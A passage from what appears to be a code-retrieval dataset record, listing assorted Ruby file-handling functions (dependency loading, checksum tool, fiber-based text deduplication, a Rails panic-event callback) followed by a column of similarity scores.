"def create_from_file( file_name )\n vcg = ValidationCheckerGenerator.new\n vcg.generate( LDLgeneratedLanguage::Language_gds_check.parse( File.read( file_name ) ) )\n end",
"def require_dependency(file_name, message = \"No such file to load -- %s.rb\")\n file_name = file_name.to_path if file_name.respond_to?(:to_path)\n unless file_name.is_a?(String)\n raise ArgumentError, \"the file name must either be a String or implement #to_path -- you passed #{file_name.inspect}\"\n end\n\n Dependencies.depend_on(file_name, message)\n end",
"def generate_input_file\n\t\t\t#FileUtils.touch(\"#@run_name.mat\")\n\t\t\t#cronos.new_file\n\t\t\t#eputs \"Make sure you save the file as #@run_name.mat... overwrite the existing empty place holder. When you have saved the file press enter.\"\n\t\t\tif @duplicate_id\n\t\t\t\told = @runner.run_list[@duplicate_id]\n\t\t\t\tsystem \"cp #{old.directory}/#{old.run_name}.mat #@directory/#@run_name.mat\"\n\t\t\t\tload\n\t\t\telsif @restart_id\n\t\t\t\told = @runner.run_list[@restart_id]\n\t\t\t\tsystem \"cp #{old.directory}/#{old.run_name}_resultat.mat #@directory/#@run_name.mat\"\n\t\t\t\tload\n\t\t\telse\n\t\t\t\tsz = Terminal.terminal_size[1]\n\t\t\t\teputs((str = \"When you have created the file press enter. Don't save it (CodeRunner will automatically save it in the right place. You can edit parameters later as well. CodeRunner will not submit the file... submit it manually using a batch or interactive run.\"; [\"-\"*sz, str, \"-\"*sz]))\n\t\t\t\tcronos.puts(\"zuicreate\")\n\t\t\t\tSTDIN.gets\n\t\t\tend\n\t\t\tcronos.puts(\"param.gene.origine = '#@directory/#@run_name.mat'\")\n\t\t\tcronos.puts(\"param.gene.file = '#@directory/#{@run_name}_resultat.mat'\")\n\t\t\tcronos.puts(\"param.gene.rapsauve = '#@directory/#{@run_name}_resultat'\")\n\t\t\tcronos.puts(\"param.edit.currentfile= '#@directory/#@run_name.mat'\")\n\t\t\tcronos.puts(\"param.from.creation.com = '#@comment'\")\n\t\t\tcronos.puts(\"zuisavedata('force')\")\n\t\t\t#cronos.eval(\"zuicreate\")\n\t\t\trefresh_gui\n\t\t\t\n\t\tend",
"def run file, args = nil \n handler(file).run file, args\n end",
"def load_procfile(filename)\n options[:root] ||= File.dirname(filename)\n Foreman::Procfile.new(filename).entries do |name, command|\n register name, command, :cwd => options[:root]\n end\n self\n end",
"def app_script_text(bin_file_name)\n <<-TEXT\n#\n# This file was generated by RubyGems.\n#\n# The application '#{@spec.name}' is installed as part of a gem, and\n# this file is here to facilitate running it.\n#\n\nrequire 'rubygems'\n\nversion = \"#{Gem::Requirement.default}\"\n\nif ARGV.first =~ /^_(.*)_$/ and Gem::Version.correct? $1 then\n version = $1\n ARGV.shift\nend\n\ngem '#{@spec.name}', version\nload Gem.bin_path('#{@spec.name}', '#{bin_file_name}', version)\nTEXT\n end",
"def file_name\n file_name = (\"tmp/insert_externals.txt\")\n #file_name = (\"tmp/insert_internals.txt\")\n #file_name = (\"./tmp/insert_internals_hash.txt\")\n #file_name = (\"lib/anagrams/anagrams_table_data.txt\")\n #file_name = (\"tmp/insert_anagrams.txt\")\n #file_name = (\"tmp/insert_word_list.txt\")\n #file_name = (\"../../Documents/20110421-research_textualed.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hash-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hashlines-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hashlines_sorted_keys-015.txt\")\n #file_name = (\"../consummates/lib/databasers/mysql_database_safe_lines/mysql_database_ready_hashlines_sorted_values-015.txt\")\n end",
"def process\n ChefObject.register(filename, :recipe, statement.file)\n end",
"def fetch(file_name, *args)\n if @file_name.nil?\n @file_name = file_name\n locked_puts \"Fetching #{@file_name}\"\n end\n end",
"def digest_caller_file(caller_line)\n serializer_file_path = caller_line[CALLER_FILE]\n serializer_file_contents = IO.read(serializer_file_path)\n Digest::MD5.hexdigest(serializer_file_contents)\n rescue TypeError, Errno::ENOENT\n warn <<-EOF.strip_heredoc\n Cannot digest non-existent file: '#{caller_line}'.\n Please set `::_cache_digest` of the serializer\n if you'd like to cache it.\n EOF\n ''.freeze\n end",
"def digest_caller_file(caller_line)\n serializer_file_path = caller_line[CALLER_FILE]\n serializer_file_contents = IO.read(serializer_file_path)\n Digest::MD5.hexdigest(serializer_file_contents)\n rescue TypeError, Errno::ENOENT\n warn <<-EOF.strip_heredoc\n Cannot digest non-existent file: '#{caller_line}'.\n Please set `::_cache_digest` of the serializer\n if you'd like to cache it.\n EOF\n ''.freeze\n end",
"def get_program_file_data(program_file)\n File.open(program_file,'rb'){|f| f.read}\nend",
"def usage\n\tputs \"ruby unicorn2jar.rb unicornOutputFileHere jarFileNameHere\" \nend",
"def mainfun\n begin\n puts \"[MAINFUN]:: Entering\\n[MAINFUN]:: Setting application variables for filenames\" if $diag\n ingestion # Gather files to be processes from ingestion function\n puts \"[MAINFUN]:: Examining files\"+(sleep $pause; if $verb; \": #{$filesin}\"; else \"\"; end) if $diag\n $filesin.each { | finfile |\n puts \"[MAINFUN]:: Interacting with file\"+(sleep $pause; if $verb; \": #{$finfile}\"; else \"\"; end) if $diag\n procfiles(finfile) # Process files to generate additional global vars\n if finfile.split(\".\")[-1].to_s.downcase == \"txt\"\n puts \"[MAINFUN]:: Input file is TXT\" if $diag\n inoutput(finfile) # If file is of type TXT, process singular files contents\n end\n if finfile.split(\".\")[-1].to_s.downcase == \"gz\"\n puts \"[MAINFUN]:: Input file is GZ\"+(sleep $pause; if $verb; \": #{$finfile}\"; else \"\"; end) if $diag\n tarpit(finfile) # If file is of type GZ, inflate and process singular files contents\n end\n bufferflush # Proceed to flush any contents that did not hit write counter limits\n }\n puts \"[MAINFUN]:: Exiting\" if $diag\n rescue => someerror\n puts \"[MAINFUN]:: FATAL ERROR:: mainfun module\"+(sleep $pause; if $verb; \": #{someerror}\"; else \"\"; end) if $diag; exit\n end\nend",
"def doing_raw_file_to_verified_unique_researches # adjustable line length filter\n consumer = Fiber.new do |producer, queue|\n a = File.read(\"../../Documents/20111224-research.txt\")\n\t new = a.to_textual\n#TODO finishe\t \n @megadata = a.sort do |x,y|\n x.downcase <=> y.downcase\n end\n @megadata_unique = @megadata.uniq\n f = open(\"./tmp/database_doings/doing_uniques/uniques_done.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n #IO.foreach(\"./tmp/database_doings/doing_uniques/uniques_todo.txt\") do |line|\n queue = \"\"\n puts queue\n @megadata_unique.each do |line|\n sequence_text = line.to_textual.de_comma\n if sequence_text.length < 50 # adjustable\n puts \"line ignored due to length\"\n elsif Sequence.find_by_sequence_text(sequence_text)\n puts \"line ignored as it is already in database : \" + \"#{sequence_text}\"\n else\n sequence_creation = sequence_text.de_space unless nil\n sequence_complete = sequence_text.split(//).sort.join('').strip unless nil\n sequence_lexigram = lexigram_sequencer(sequence_text) unless nil\n sequence_singular = sequence_complete.squeeze unless nil\n description = \"research\"\n reference = \"literoti\"\n anagram = 0\n name = 0\n phrase = 0\n research = 1\n external = 0\n internal = 0\n created_at = \"2011-12-21 12:12:00\"\n #line = \"#{sequence_text}\\n\"\n line = \"#{sequence_text}\\t#{sequence_creation}\\t#{sequence_complete}\\t#{sequence_lexigram}\\t#{sequence_singular}\\t#{description}\\t#{reference}\\t#{anagram}\\t#{name}\\t#{phrase}\\t#{research}\\t#{external}\\t#{internal}\\t#{created_at}\\n\"\n queue << line\n break unless line\n consumer.transfer queue\n queue.clear\n end\n end\n end\n raise StopIteration\n end",
"def main\n # Arguments base to be use for reference\n args = {:hash_function => 1,:compare => false, :debugmode => false, :samefolder => false, :hash => nil, :file => nil, :output_file => nil}\n # Options to be parsed\n opt = OptionParser.new\n opt.banner = \"Checksum handler; Usage: checksum.rb <options> FILE\"\n opt.on(\"-c\", \"--compare HASH/HASHDB\", \"Set the mode to compare an input hash with the FILE or to compare all hashes of the with all file inside it\") do |value|\n args[:compare] = value\n end\n opt.on('-v', '--verbose', 'Verbose mode ON') do\n args[:debugmode] = true\n end\n opt.on('-s', '--same-folder', 'Change the target file path to ./ as this script was working in the same folder; useful shareable files') do\n args[:samefolder] = true\n end\n opt.on(\"-o\", \"--output-file FILENAME\", \"Output file for the checksum (csv)\") do |value|\n args[:output_file] = value\n end\n opt.on('-5', \"--md5\", \"Use MD5 algorithm\") do\n args[:hash_function] = 5\n end\n opt.on('-1', '--sha1', 'Use SHA1 algorithm (Set by default)') do\n args[:hash_function] = 1\n end\n opt.on('-2', '--sha2 BITSLENGTH', 'Use SHA2 algorithm with your specific bit lenth can be 256, 384 or 512') do |bit_size|\n # SHA2 can have different bit sizes like 224, 256, 384, 512\n if [256, 384, 512].find bit_size.to_i\n args[:bit_size] = bit_size.to_i\n end\n args[:hash_function] = 2\n end\n opt.on('-h', '--help') do\n puts opt\n return\n end.parse!\n # Get the FILE variable\n args[:file] = ARGV.pop\n # When no target is specified\n unless args[:file]\n # iif compare mode isn't enabled\n unless args[:compare]\n puts opt\n end\n\n end\n begin\n # If the mode is set to compare\n if args[:compare]\n compare_hashes_handler args[:compare], args[:file], args[:hash_function], args[:bit_size]\n else\n # Get check sum from file\n checksum_handler args[:file], args[:output_file], args[:hash_function], args[:bit_size],args[:debugmode], args[:samefolder]\n end\n rescue => error\n # For debugging\n puts error\n # Print options\n puts opt\n end\nend",
"def usage\n \"Usage: #{File.basename __FILE__} BIBID_DIR_CSV\"\nend",
"def process_file(file_name)\n\tbegin\n\t\tFile.foreach(file_name, encoded: 'ASCII') do |line|\n\t\t\t\tprocess_line(line)\n\t\tend\n\trescue\n\t\tSTDERR.puts \"Could not open file, #{$!}\"\n\t\texit 4\n\tend\nend",
"def initialize(name, figfile)\n super(name.tr('_-', ''))\n @figfile = figfile\n\n # TODO: make configurable\n @executables = {\n :fig => '/usr/local/bin/fig'\n }\n end",
"def execute_file(full_path, args)\n if File.extname(full_path) == '.rb'\n Rex::Script::Shell.new(self, full_path).run(args)\n else\n load_resource(full_path)\n end\n end",
"def try_load_students\n filename = ARGV.first\n return if filename.nil?\n if File.exists?(filename)\n load_students(filename)\n puts \"Retrieved #{@students.count} students from #{filename}\"\n else\n puts \"sorry #{filename} doesn't exist\"\n exit\n end\nend",
"def test_existing_file\n assert verify_parameters(['verifier_tests.rb'])\n end",
"def test_fb_run_prepare_ff\n ifn = @@env + '_4.sdf'\n ofn = @@env + '_4.ff'\n\n ligands_sdf = File.join(@@env, @@lig + '.ligands.sdf')\n ali = File.join(@@env, @@lig + '.alignments.dat')\n pocket = File.join(@@env, @@lig + '.pockets.dat')\n templates = File.join(@@env, @@lig + '.templates.pdb')\n\n ruby_script = \"../src/prepare_ff.rb\"\n cmd = <<ff\nruby #{ruby_script} -l #{ifn} -i MOLID -o #{ofn} -s #{ligands_sdf} -a #{ali} -p #{pocket} -t #{templates} -n 1\nff\n\n puts \"\\nRunning\\t\\t#{cmd}\\n\"\n stdout_str, stderr_str, status = Open3.capture3(cmd)\n if status.success?\n puts \"write to\\t#{ofn}\\n\"\n else\n STDERR.puts \"Error running #{cmd}\\n\"\n exit 1\n end\n end"
] | [
"0.56375444",
"0.56337976",
"0.56209457",
"0.56209457",
"0.5618388",
"0.5599762",
"0.55736756",
"0.5506167",
"0.5505519",
"0.5465258",
"0.54086673",
"0.5403425",
"0.5294604",
"0.5281221",
"0.5272631",
"0.5216795",
"0.5216795",
"0.51940566",
"0.5191786",
"0.5171591",
"0.51589686",
"0.513445",
"0.51311487",
"0.50895536",
"0.5083598",
"0.5059134",
"0.5058224",
"0.5053889",
"0.50294536",
"0.5028298",
"0.50241774",
"0.50241774",
"0.50187594",
"0.50187594",
"0.5013019",
"0.5006211",
"0.5004534",
"0.50027317",
"0.49974132",
"0.4991415",
"0.49880308",
"0.49835587",
"0.49835587",
"0.49726894",
"0.4967833",
"0.49586338",
"0.49491704",
"0.49476033",
"0.49435836",
"0.4933187",
"0.49181613",
"0.49082428",
"0.48989055",
"0.48935282",
"0.48662478",
"0.48460105",
"0.48424813",
"0.48407677",
"0.48087236",
"0.4801085",
"0.47937167",
"0.47845954",
"0.47838542",
"0.47760653",
"0.4774739",
"0.47735345",
"0.47712857",
"0.477085",
"0.47706604",
"0.47593915",
"0.47526965",
"0.47526965",
"0.47515061",
"0.4748825",
"0.47466868",
"0.47460037",
"0.47435957",
"0.47344592",
"0.47336158",
"0.47308084",
"0.47244462",
"0.47228938",
"0.4718504",
"0.47164145",
"0.4712187",
"0.47044685",
"0.4699393",
"0.4699393",
"0.46988353",
"0.46970716",
"0.46925503",
"0.46860823",
"0.46735522",
"0.46718305",
"0.46695006",
"0.46616298",
"0.46576667",
"0.4655279",
"0.46523118",
"0.46515688"
] | 0.47417822 | 77 |
after_break is used at end of fiber method doing_verified_unique to end processing and save the file addended to. to load the data produced by this fiber method ^^^^^^^^^^ use these commands in mysql console : in Terminal $ cd ./desideratus/apotomoing_sequencers $ mysql mysql> use sequencers_production or developent mysql> LOAD DATA LOCAL INFILE './tmp/database_doings/doing_uniques/uniques_done.txt' INTO TABLE sequences FIELDS TERMINATED BY '\t' (sequence_text, sequence_creation, sequence_complete, sequence_lexigram, sequence_singular, sequence_lense, description, reference, anagram, name, phrase, research, external, internal, created_at); | def after_break
#open(file_name, "r") do |f|
open("./tmp/database_doings/doing_uniques/uniques_done.txt", "r") do |f|
g = f.read
f.close
exit(puts "Processing is complete >> ./tmp/database_doings/doing_uniques/uniques_done.txt << is closed, console has been exited")
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def doing_raw_file_to_verified_unique_researches # adjustable line length filter\n consumer = Fiber.new do |producer, queue|\n a = File.read(\"../../Documents/20111224-research.txt\")\n\t new = a.to_textual\n#TODO finishe\t \n @megadata = a.sort do |x,y|\n x.downcase <=> y.downcase\n end\n @megadata_unique = @megadata.uniq\n f = open(\"./tmp/database_doings/doing_uniques/uniques_done.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n #IO.foreach(\"./tmp/database_doings/doing_uniques/uniques_todo.txt\") do |line|\n queue = \"\"\n puts queue\n @megadata_unique.each do |line|\n sequence_text = line.to_textual.de_comma\n if sequence_text.length < 50 # adjustable\n puts \"line ignored due to length\"\n elsif Sequence.find_by_sequence_text(sequence_text)\n puts \"line ignored as it is already in database : \" + \"#{sequence_text}\"\n else\n sequence_creation = sequence_text.de_space unless nil\n sequence_complete = sequence_text.split(//).sort.join('').strip unless nil\n sequence_lexigram = lexigram_sequencer(sequence_text) unless nil\n sequence_singular = sequence_complete.squeeze unless nil\n description = \"research\"\n reference = \"literoti\"\n anagram = 0\n name = 0\n phrase = 0\n research = 1\n external = 0\n internal = 0\n created_at = \"2011-12-21 12:12:00\"\n #line = \"#{sequence_text}\\n\"\n line = \"#{sequence_text}\\t#{sequence_creation}\\t#{sequence_complete}\\t#{sequence_lexigram}\\t#{sequence_singular}\\t#{description}\\t#{reference}\\t#{anagram}\\t#{name}\\t#{phrase}\\t#{research}\\t#{external}\\t#{internal}\\t#{created_at}\\n\"\n queue << line\n break unless line\n consumer.transfer queue\n queue.clear\n end\n end\n end\n raise StopIteration\n end",
"def after_break\n #open(file_name, \"r\") do |f| \n open(\"./tmp/database_doings/doing_phrases/phrases_ready_to_load.txt\", \"r\") do |f| \n g = f.read\n f.close\n exit(puts \"Processing is complete >> ./tmp/database_doings/doing_phrases/phrases_ready_to_load.txt << is closed, console has been exited\")\n end\n end",
"def doing_verified_unique_researches # adjustable line length filter\n consumer = Fiber.new do |producer, queue|\n a = File.readlines(\"./tmp/insert_researches.txt\")\n @megadata = a.sort do |x,y|\n x.downcase <=> y.downcase\n end\n @megadata_unique = @megadata.uniq\n f = open(\"./tmp/database_doings/doing_uniques/uniques_done.txt\", \"a\") do |f| \n loop do\n queue = producer.transfer(consumer, queue)\n puts f << queue\n queue.clear\n end\n raise StopIteration\n end\n end\n producer = Fiber.new do |consumer, queue|\n #IO.foreach(\"./tmp/database_doings/doing_uniques/uniques_todo.txt\") do |line|\n queue = \"\"\n puts queue\n @megadata_unique.each do |line|\n sequence_text = line.to_textual.de_comma\n if sequence_text.length < 52 # adjustable\n puts \"line ignored due to length\"\n elsif Sequence.find_by_sequence_text(sequence_text)\n puts \"line ignored as it is already in database : \" + \"#{sequence_text}\"\n else\n sequence_creation = sequence_text.de_space unless nil\n sequence_complete = sequence_text.split(//).sort.join('').strip unless nil\n sequence_lexigram = lexigram_sequencer(sequence_text) unless nil\n sequence_singular = sequence_complete.squeeze unless nil\n description = \"research\"\n reference = \"literoti\"\n anagram = 0\n name = 0\n phrase = 0\n research = 1\n external = 0\n internal = 0\n created_at = \"2011-12-21 12:12:00\"\n #line = \"#{sequence_text}\\n\"\n line = \"#{sequence_text}\\t#{sequence_creation}\\t#{sequence_complete}\\t#{sequence_lexigram}\\t#{sequence_singular}\\t#{description}\\t#{reference}\\t#{anagram}\\t#{name}\\t#{phrase}\\t#{research}\\t#{external}\\t#{internal}\\t#{created_at}\\n\"\n queue << line\n break unless line\n consumer.transfer queue\n queue.clear\n end\n end\n end\n raise StopIteration\n end",
"def process_externals\n File.open(\"./lib/externals/externals_table_data_input_hash.txt\", \"r\") do |f|\n #File.open(\"./lib/externals/externals_table_data_input_lines.txt\", \"r\") do |f|\n f.each_line do |line|\n external_searched, searched = line.chomp.split(\"\\t\")\n # created_sequence_id = external_searched(/continue code/)\n # creation_sequence_id = \n # complete_sequence_id = \n # lexigram_sequence_id = \n # singular_sequence_id = complete_sequence_id.squeeze\n puts \"#{external_searched.to_textual}\\t#{searched}\" \n sleep(0.01)\n end\n end\n end",
"def after; end",
"def after; end",
"def after_processing\n end",
"def post_run_cleanup(file, token)\n arr = []\n text = File.open(file).read\n text.each_line { |line| arr << line.split(\"\\n\").join }\n arr.map(&:to_s).uniq.each do |id|\n remove_account(id, token)\n sleep(7) # delay\n end\n end",
"def after\n end",
"def after_break\n #open(\"./lib/fiber_output.txt\", \"r\") do |f| \n #open(\"./lib/databasers/fibered_files_output.txt\", \"r\") do |f| \n open(\"./lib/databasers/fibering_files_output.txt\", \"r\") do |f| \n g = f.read\n # puts g\n # uncommenting above line causes each line of data to show on your screen as it is output to the file\n f.close\n end\n exit(puts \"fibering_files_output.txt\" + \" is closed, console has been exited\")\n end",
"def process_externals_hash\n File.open(\"./lib/externals/externals_table_data_input_hash.txt\", \"r\") do |f|\n f.each_line do |line|\n external_searched, searched = line.chomp.split(\"\\t\")\n # created_sequence_id = external_searched(/continue code/)\n # creation_sequence_id = \n # complete_sequence_id = \n # lexigram_sequence_id = \n # singular_sequence_id = complete_sequence_id.squeeze\n puts \"#{external_searched.to_textual}\\t#{searched}\" \n sleep(0.01)\n end\n end\n end",
"def after\n end",
"def after\n end",
"def after\n end",
"def after_terminated\n end",
"def readUbcsatAndWriteToDB(ubcsat_output_file, algorun_config_id, host)\n \n ############### READ FILE.\n content=\"\"\n File.open(ubcsat_output_file, \"r\"){|ubcsat|\n \tcontent = ubcsat.gets(nil)\n }\n# puts ubcsat_output_file\n# puts content\n \n\n ############### Put the output file into the DB.\n# add_ubcsat_output_cmd = \"insert into FH_OUTPUT (OUTPUT_TEXT) values (\\\"#{content}\\\")\"\n# ubcsat_output_id = execute_cmd_with_quotes_one_autoincrement(add_ubcsat_output_cmd, false)\n\tubcsat_output_id = -1\n \n \n ############### Parse output and write runs to DB.\n File.open(ubcsat_output_file, \"r\"){|ubcsat|\n mysql_cmds = []\n \trun=1;\n \twhile line = ubcsat.gets\n \tnext if line =~ /#/\n \tif line =~ /\\d+\\s+(\\d+)\\s+(\\d+)\\s+(\\d)+\\s+(\\d+)\\s+(\\d+)\\s+(#{float_regexp})/\n \t#=== Read run output from UBCSAT. (run number not recorded)\n \tfound = $1.to_i\n \t\tseed = $2.to_i\n \t\tbest_sol = $3.to_i\n \t\tbest_length = $4.to_i\n \t\tmeasured_runlength = $5.to_i\n \t\tmeasured_runtime = $6.to_f\n \n \t\t#=== Put the run into the DB.\n# \t\tputs line\n require \"dbi_ils_accessor.rb\"\n\t\t\twriteResultToDB(algorun_config_id, seed, measured_runtime, measured_runlength, best_sol, best_length, \"#{found ==1 ? 'SAT' : 'TIMEOUT'}\", ubcsat_output_id, host)\n\n# \t\tmysql_cmd = \"insert into FH_ALGORUN VALUES(#{algorun_config_id}, #{seed}, #{measured_runtime}, #{measured_runlength}, #{best_sol}, #{best_length}, '#{found ==1 ? 'SAT' : 'TIMEOUT'}', now(), #{ubcsat_output_id}, '#{host}');\"\n# \t\tputs \"MySQLCommand: #{mysql_cmd}\"\n#\t\t\tmysql_cmds << mysql_cmd\n #\t\t\t\texecute_cmd(mysql_cmd, false)\n \n#\t\t\tif run.modulo(100)==0\n#\t\t\t execute_cmds(mysql_cmds)\n#\t\t\t execute_cmd(mysql_cmds.join(\"\\n\"), false)\n#\t\t\t mysql_cmds = []\n#\t\t\tend\n\t\t run = run+1\n \tend\n end\n# \tputs mysql_cmds\n raise \"No such file or directory : No UBCSAT run output exists in file #{ubcsat_output_file} - see output id #{ubcsat_output_id}\" unless run > 1\n# execute_cmd(mysql_cmds.join(\"\\n\"), false)\n# execute_cmds(mysql_cmds)\n }\n return true\nend",
"def after_processing_hook; end",
"def read_auto_clean_up; end",
"def after(datum); end",
"def after(datum); end",
"def after() nil ; end",
"def after\n\t\t\ttrue\n\t\tend",
"def after_finished\n end",
"def before_perform\n @outdir = job.job_dir.to_s\n @basename = File.join(job.job_dir, job.jobid)\n @infile = @basename+\".in\" \n # still has to be generated\n @outfile = @basename+\".frags\"\n params_to_file(@infile, 'sequence_input', 'sequence_file')\n @informat = params['informat'] ? params['informat'] : 'fas'\n @predict_ta = params['ta']\n reformat(@informat, \"fas\", @infile)\n @commands = []\n \n \n end",
"def after_save\n begin\n # https://redmine.corp.halomonitor.com/issues/3215\n #\n unless user.blank?\n # \n # Wed Feb 9 23:26:29 IST 2011, ramonrails\n # * this is the panic 'timestamp'\n # * we do not want any difference at all between timestamp in panic & user intake\n # \n # Thu Feb 10 23:17:52 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4180\n # * tiemstamp may really not be the recent one. We need Time.now\n _time_now = Time.now\n #\n # buffer for last panic row related to this user\n user.update_attribute( :last_panic_id, id) # no validations\n # * this is only for cucumber purpose\n if user.has_caregivers.any?(&:raises_exception?)\n raise \"Custom exception for BDD tests only\" # WARNING: this will not send emails until exception handling is added here\n end\n #\n # \n # \"Ready to Bill\" state if panic is\n # * after \"Desired Installation Date\"\n # * senior is member of safety care, but in test mode (partial test mode)\n # * only apply \"ready to bill\" state when current state is any of\n # * Ready to Install or Install Overdue\n # * \"Installed\" means, panic button was ok. user was \"Bill\"ed by human action\n _allowed_states = [User::STATUS[:install_pending], User::STATUS[:overdue]]\n if !user.desired_installation_date.blank? && (_time_now > user.desired_installation_date) && _allowed_states.include?( user.status.to_s)\n # \n # Fri Dec 17 21:01:27 IST 2010, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/3891\n if user.order_placed_online?\n # transition the user from \"Ready to Install\" => \"Ready to Bill\"\n # * We need \"bill\" state when order was placed online\n if user.subscription_successful?\n # * already \"billed\". we can simply go to \"Installed\" state\n user.update_attribute( :status, User::STATUS[:installed]) # \"Installed\"\n else\n user.update_attribute( :status, User::STATUS[:bill_pending]) # \"Ready to bill\". no validations\n end\n else\n # * just mark the user \"Installed\", when created directly from user intake\n user.update_attribute( :status, User::STATUS[:installed]) # \"Installed\"\n end\n # # \n # # Tue Nov 23 00:48:30 IST 2010, ramonrails\n # # * Pro rata is charged from the date we received panic button after \n # user.user_intakes.first.update_attribute( :panic_received_at, _time_now) unless user.user_intakes.blank?\n #\n # add triage_audit_log with a message\n _message = \"Automatically transitioned from 'Ready to Insall' to 'Ready to Bill' state at 'Panic button'\"\n\n # \n # Wed Dec 1 03:36:39 IST 2010, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/3786\n # * if subscription was already charged, mark user \"installed\"\n elsif (user.status.to_s == User::STATUS[:bill_pending]) && user.subscription_successful?\n user.update_attribute( :status, User::STATUS[:installed]) # \"Installed\"\n # # \n # # Tue Nov 23 00:48:30 IST 2010, ramonrails\n # # * Pro rata is charged from the date we received panic button after \n # user.user_intakes.first.update_attribute( :panic_received_at, _time_now) unless user.user_intakes.blank?\n #\n # add triage_audit_log with a message\n _message = \"Automatically transitioned from any existing state to 'Installed' state at 'Panic button' because subscription started before panic event.\"\n end\n # \n # Tue Nov 23 00:48:30 IST 2010, ramonrails\n # * Pro rata is charged from the date we received panic button after \n # Fri Dec 17 21:03:40 IST 2010, ramonrails\n # * This is common method call for \"if\" conditions above\n unless user.user_intakes.blank?\n _intake = user.user_intakes.first\n # \n # Fri Feb 11 00:48:03 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4181\n # * we need panic_received_at and installed_at to reflect the actual timestamp\n # * we cannot however switch the status to \"Installed\" as we want a concurrent \"Ready to Bill\" status\n # if panic < desired \n # panic_received_at is not updated and stays blank\n # elsif (panic > desired or desired.blank?)\n if _intake.installation_datetime.blank? || ( _time_now > _intake.installation_datetime )\n # only the first panic updates panic_received_at, ignore subsequent panics\n if _intake.panic_received_at.blank?\n _intake.update_attribute( :panic_received_at, _time_now)\n # send \"<halouser> installed\" email\" \n user.notify_about_installation\n # \n # update User.installed_at\n # Tue May 24 23:08:25 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4486\n # * Installed at should not be updated when panic button is sent before \"Ready for Approval\" state\n # * status.blank? means 'Not Submitted'\n user.update_attribute( :installed_at, _time_now) unless user.status.blank?\n # \n # make all caregivers active\n # Fri Feb 4 01:06:31 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4147\n # all caregivers are active now\n user.has_caregivers.each { |e| e.set_active_for( user, true) }\n # Installed timestamp in the \"Status\" column of Single Row User Intake\n # * updated in _user_intake_row.html.erb\n #\n # Completely disable test mode (User.test_mode = false)\n # \n # Fri Feb 4 22:31:15 IST 2011, ramonrails\n # * https://redmine.corp.halomonitor.com/issues/4152\n # * make user out of test mode here\n user.test_mode = false\n user.send( :update_without_callbacks)\n end\n end\n # # \n # # Fri Jan 28 02:15:27 IST 2011, ramonrails\n # # * https://redmine.corp.halomonitor.com/issues/4111#note-7\n # # * update the Panic.after_save, only store the first panic after installation_datetime, not every subsequent panic\n # if _intake.installation_datetime.blank?\n # # Installation date time blank?\n # ## First panic stored\n # ## Subsequent panics do not over-write the first stored one\n # _intake.update_attribute( :panic_received_at, _time_now) if _intake.panic_received_at.blank?\n # \n # elsif _intake.panic_received_at.blank? || (_intake.panic_received_at < _intake.installation_datetime)\n # # Installation date time given?\n # ## First panic after the timestamp, is stored. Overwriting any existing one that might have existed before the timestamp\n # ## Subsequent panics do not overwrite the existing stored one\n # _intake.update_attribute( :panic_received_at, _time_now)\n # end\n end\n\n #\n # add to triage audit log with a message\n if defined?( _message) && !_message.blank?\n #\n # add a row to triage audit log\n # cyclic dependency is not created. update_withut_callbacks is used in triage_audit_log\n attributes = {\n :user => user,\n :is_dismissed => user.last_triage_status,\n :status => user.status,\n :created_by => user.id,\n :updated_by => user.id,\n :description => _message\n }\n TriageAuditLog.create( attributes)\n end\n\n # Wed Nov 3 23:33:00 IST 2010, ramonrails \n # Old logic: \"Installed\" state can only be achieved by manual human action by clicking \"Bill\" in user intake\n # shifted now to user_intake.rb\n # # \n # # Ready for Install > Installed (green) is automatically transitioned\n # # Check for panic button test (must occur after the install date)\n # auto_install = ((user.status == User::STATUS[:install_pending]) && (_time_now > user.desired_installation_date))\n # if auto_install\n # user.status = User::STATUS[:installed]\n # #\n # # explicitly send email to group admins, halouser, caregivers. tables are saved without callbacks\n # [ user,\n # user.user_intakes.collect(&:caregivers),\n # user.user_intakes.collect(&:group).flatten.uniq.collect(&:admins)\n # ].flatten.uniq.each do |_user|\n # UserMailer.deliver_user_installation_alert( _user)\n # end\n # end\n #\n # Wed Nov 3 23:34:26 IST 2010, ramonrails \n # used update_attribute with validation skipping instead\n # user.send(:update_without_callbacks) # quick fix to https://redmine.corp.halomonitor.com/issues/3067\n # \n # Wed Nov 3 23:37:05 IST 2010, ramonrails \n # user is already a member when partial test mode was activated\n # user.is_halouser_of( Group.safety_care!) # user should also be opted in to call center\n end\n #\n # ramonrails: Thu Oct 14 02:05:21 IST 2010\n # return TRUE to continue executing further callbacks, if any\n true\n rescue Exception => e\n # \n # Wed Feb 9 23:16:17 IST 2011, ramonrails\n # * at least send an email about this error\n CriticalMailer.deliver_monitoring_failure( \"Technical exception #{e}\", self)\n true # no matter what, execute critical_device_event_observer.after_save\n end\n end",
